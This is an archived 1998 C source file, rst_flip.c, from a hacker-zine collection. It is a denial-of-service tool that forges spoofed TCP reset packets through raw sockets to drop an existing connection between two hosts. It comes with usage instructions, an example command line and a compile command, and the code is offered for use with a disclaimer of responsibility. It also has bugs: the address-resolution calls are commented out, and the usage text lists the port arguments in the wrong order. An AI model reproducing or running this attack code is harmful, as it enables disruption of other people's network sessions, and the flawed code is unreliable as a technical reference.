home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / rst_flip.c < prev    next >
C/C++ Source or Header  |  1998-12-06  |  8KB  |  240 lines

  1. /*
  2.  
  3. rst_flip  1998(C)     krypt@enteract.com - http://www.rootshell.com/
  4.     
  5. This is a DOS attack against an existing connection where one of the hosts
  6. is a Linux, SunOS, FreeBSD and possibly others. I did not have time to test
  7. this code thoroughly.It's purpose is merely to illustrate that it is
  8. possible to cause a conenction to be dropped by sending a couple of
  9. customized packets to one of the hosts.
  10.     
  11. The usage is quite simple:
  12.     
  13. rst_flip <A> <B> <A port low> <A port hi> <B port low> <B port hi>
  14. where A  and B are the hosts currently having a session and you do not want
  15. them to.
  16.     
  17. To check if your hosts are vulnerable you can use scenario like this: Say
  18. host A (Windows 10.10.3.21) is connected to port 21 of host B (SunOS -
  19. 10.10.1.23).  Since it is usually unknown what port A has utilized for this
  20. connection ( it is higher than 1024,most of the time :) we have to consider
  21. the possible range. So you would do:
  22.         
  23.     rst_flip 10.10.3.21  10.10.1.23  1024  2000   21  21
  24.     
  25. I am in no way responsible for whatever happens after this point. Do not
  26. laugh at the code because i already know that. I'll work on it later. It
  27. compiles on Linux.
  28.         
  29.     cc -o rst_flip rst_flip.c
  30.     
  31.             
  32. Mad thanks to:         tootin.
  33. Greets to:        l0ck. 
  34.         
  35.         
  36. */
  37.  
  38. #include <string.h>
  39. #include <stdio.h>
  40. #include <unistd.h>
  41. #include <sys/types.h>
  42. #include <sys/socket.h>
  43. #include <netinet/in.h>
  44. #include <arpa/inet.h>
  45. #include <netdb.h>
  46. #include <linux/socket.h>
  47. #include <linux/ip.h>
  48. #include <linux/tcp.h>
  49.  
  50. #define TCPHDR   sizeof(struct tcphdr)       
  51. #define IPHDR    sizeof(struct iphdr)        
  52. #define PACKETSIZE  TCPHDR + IPHDR
  53. #define SLEEPTIME 30000                 //     depending on how fast can you barf the packets out
  54. #define LO_RST  1                //
  55. #define HI_RST  2147483647            //     do not ask me about this :)
  56. #define ERROR_FAILURE -1
  57. #define ERROR_SUCCESS 0
  58.  
  59. void resolve_address(struct sockaddr *, char *, u_short);    
  60. unsigned short in_cksum(unsigned short *,int );
  61. int send_rst(char *, char *, u_short ,u_short , u_long, u_long,u_long);
  62.  
  63.  
  64.  
  65. int main(int argc, char *argv[])
  66. {
  67.     int res,i,j;
  68.     int spoof_port,target_port;
  69.  
  70.         if (argc < 7 || argc> 8 )    
  71.         {
  72.         printf ("usage:  <source> <destination> <source_port_hi> <source_port_lo> <dest_port_hi> <dest_port_lo>\n[ http://www.rootshell.com/ ]\n");
  73.         exit(ERROR_FAILURE);
  74.     }
  75.     
  76.     for (i = atoi(argv[3]);i <= atoi(argv[4]); i++)
  77.     {
  78.         spoof_port = i;        
  79.  
  80.         for (j = atoi(argv[5]);j <= atoi(argv[6]); j++)
  81.         {
  82.                 target_port = j;
  83.             printf("%s : %d \t", argv[1],spoof_port);
  84.             printf("-> %s  :%d\n",argv[2], target_port);
  85.             res=send_rst(argv[1],argv[2],spoof_port,target_port, HI_RST, HI_RST, 2);
  86.             usleep(SLEEPTIME);
  87.             res=send_rst(argv[1],argv[2],spoof_port,target_port, LO_RST,LO_RST, 2);
  88.             usleep(SLEEPTIME);    
  89.         }
  90.  
  91.         }    
  92.     return ERROR_SUCCESS;
  93. }
  94.     
  95.  
  96.  
  97.  
  98. // here we put it together 
  99. int send_rst(char *fromhost, char *tohost, u_short fromport,u_short toport, u_long ack_sq, u_long s_seq, u_long spoof_id) 
  100. {
  101.     int i_result;
  102.     int raw_sock;            
  103.     static struct sockaddr_in local_sin, remote_sin; 
  104.     struct tpack{                  
  105.             struct iphdr ip;        
  106.             struct tcphdr tcp;
  107.     }tpack;                
  108.         
  109.     struct pseudo_header{                           // pseudo header 4 the checksum 
  110.             unsigned source_address;
  111.             unsigned dest_address;
  112.             unsigned char placeholder;
  113.             unsigned char protocol;
  114.             unsigned short tcp_length;
  115.             struct tcphdr tcp;
  116.     }pheader;
  117.       
  118.  
  119.     // resolve_address((struct sockaddr *)&local_sin, fromhost, fromport);
  120.         // resolve_address((struct sockaddr *)&remote_sin, tohost, toport);
  121.     
  122.     // TCP header
  123.     tpack.tcp.source=htons(fromport);              // 16-bit Source port number 
  124.         tpack.tcp.dest=htons(toport);                // 16-bit Destination port 
  125.     tpack.tcp.seq=ntohl(s_seq);                // 32-bit Sequence Number */
  126.     tpack.tcp.ack_seq=ntohl(ack_sq);            // 32-bit Acknowledgement Number */
  127.         tpack.tcp.doff=5;                    // Data offset */
  128.         tpack.tcp.res1=0;                    // reserved */
  129.         tpack.tcp.res2=0;                    // reserved */
  130.         tpack.tcp.urg=0;                    // Urgent offset valid flag */
  131.         tpack.tcp.ack=1;                    // Acknowledgement field valid flag */
  132.         tpack.tcp.psh=0;                    // Push flag */
  133.         tpack.tcp.rst=1;                    // Reset flag */
  134.         tpack.tcp.syn=0;                    // Synchronize sequence numbers flag */
  135.         tpack.tcp.fin=0;                    // Finish sending flag */
  136.         tpack.tcp.window=0;                    // 16-bit Window size */
  137.         tpack.tcp.check=0;                    // 16-bit checksum (to be filled in below) */
  138.         tpack.tcp.urg_ptr=0;                    // 16-bit urgent offset */
  139.         
  140.     //  IP header 
  141.     tpack.ip.version=4;                         // 4-bit Version */
  142.         tpack.ip.ihl=5;                                // 4-bit Header Length */
  143.         tpack.ip.tos=0;                             // 8-bit Type of service */
  144.         tpack.ip.tot_len=htons(IPHDR+TCPHDR);              // 16-bit Total length */
  145.         tpack.ip.id=htons(spoof_id);                // 16-bit ID field */
  146.         tpack.ip.frag_off=0;                        // 13-bit Fragment offset */
  147.         tpack.ip.ttl=64;                            // 8-bit Time To Live */
  148.         tpack.ip.protocol=IPPROTO_TCP;              // 8-bit Protocol */
  149.         tpack.ip.check=0;                           // 16-bit Header checksum (filled in below) */
  150.         tpack.ip.saddr=local_sin.sin_addr.s_addr;          // 32-bit Source Address */
  151.         tpack.ip.daddr=remote_sin.sin_addr.s_addr;         // 32-bit Destination Address */
  152.         
  153.         // IP header checksum  
  154.     tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
  155.                 
  156.     // TCP header checksum 
  157.     pheader.source_address=(unsigned)tpack.ip.saddr;
  158.         pheader.dest_address=(unsigned)tpack.ip.daddr;
  159.         pheader.placeholder=0;
  160.         pheader.protocol=IPPROTO_TCP;
  161.         pheader.tcp_length=htons(TCPHDR);
  162.  
  163.     bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
  164.  
  165.     tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
  166.         
  167.  
  168.     // Get a socket and send the thing
  169.     raw_sock = socket(AF_INET, SOCK_RAW, 255);
  170.         if (raw_sock==-1)     
  171.     {  
  172.         perror("can't open a raw socket.");
  173.         exit(ERROR_FAILURE);
  174.         }
  175.             
  176.     i_result = sendto(raw_sock,&tpack,PACKETSIZE,0,(struct sockaddr *)&remote_sin,sizeof(remote_sin));
  177.     if (i_result != PACKETSIZE) 
  178.         perror("error sending packet");  
  179.         
  180.     close(raw_sock);
  181.         
  182. }
  183.  
  184.  
  185.  
  186.  
  187. // this is stolen :)
  188. unsigned short in_cksum(unsigned short *ptr,int nbytes){
  189.                         
  190.     register long           sum;            // assumes long == 32 bits 
  191.     u_short                 oddbyte;
  192.     register u_short        answer;         // assumes u_short == 16 bits 
  193.                         
  194.         sum = 0;
  195.         while (nbytes > 1)  {
  196.                 sum += *ptr++;
  197.                 nbytes -= 2;    
  198.         }
  199.                         
  200.         if (nbytes == 1) {
  201.                 oddbyte = 0;                        // make sure top half is zero 
  202.                 *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only 
  203.                 sum += oddbyte;
  204.         }               
  205.   
  206.         sum  = (sum >> 16) + (sum & 0xffff);    // add high-16 to low-16 
  207.         sum += (sum >> 16);                     // add carry 
  208.         answer = ~sum;                // ones-complement, then truncate to 16 bits 
  209.         return(answer);
  210. }
  211.  
  212.  
  213.  
  214.  
  215. //   Resolve the address and populate the sin structs
  216. void resolve_address(struct sockaddr * addr, char *hostname, u_short port) 
  217. {
  218.    struct  sockaddr_in *address;
  219.    struct  hostent     *host;
  220.  
  221.        address = (struct sockaddr_in *)addr;
  222.        (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  223.    
  224.        address->sin_family = AF_INET;
  225.        address->sin_port = htons(port);
  226.    
  227.        address->sin_addr.s_addr = inet_addr(hostname);
  228.        if ((int)address->sin_addr.s_addr == -1) {
  229.             host = gethostbyname(hostname);
  230.             if (host) {
  231.                     bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length);
  232.                     }
  233.             else {
  234.                     puts("Couldn't resolve the address!!!");
  235.                     exit(ERROR_FAILURE);
  236.             }
  237.        }
  238. }
  239.  
  240.